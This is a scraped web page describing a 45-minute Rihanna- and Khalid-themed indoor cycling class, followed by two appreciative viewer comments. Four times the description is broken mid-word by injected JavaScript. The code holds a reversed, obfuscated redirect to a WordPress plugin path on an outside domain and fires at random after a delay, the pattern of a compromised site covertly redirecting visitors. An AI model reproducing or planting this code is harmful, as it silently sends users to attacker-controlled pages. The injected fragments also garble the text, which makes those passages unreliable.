45min Indoor Cycling Class: Themed: Rhianna+Khalid: No weights // Home or Gym
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A high intensity, full body workout fit for all levels with work both in and out of the saddle. As I state in the video…nothing I say is binding. We are here toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to have a great time, work on believing in ourselves and practicing the “I CAN” mantra.
MUSIC:
I have purchased all of my music, but do no own the rights. Shoutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Rhianna, Khalid and all the other people involved in the creating of toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}today’s music.
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Second time I did this ride and I think its my favorite. Great combo of choreo, hills, sprints and of course your inspiration. Love!
I found you on IG and began following you and absolutely loved your energy and inspiration of being a better “you”. I’ve never taken a spin class before but was so excited to give it a try after watching you. This is the 2nd class I’ve taken of yours and I think I’m addicted already! Thank you for being such a great instructor and helping to push me just a little bit harder when I thought I couldn’t. This is exactly what I needed to help me reach a goal before my 50th birthday in June. I look forward to your next one ❤️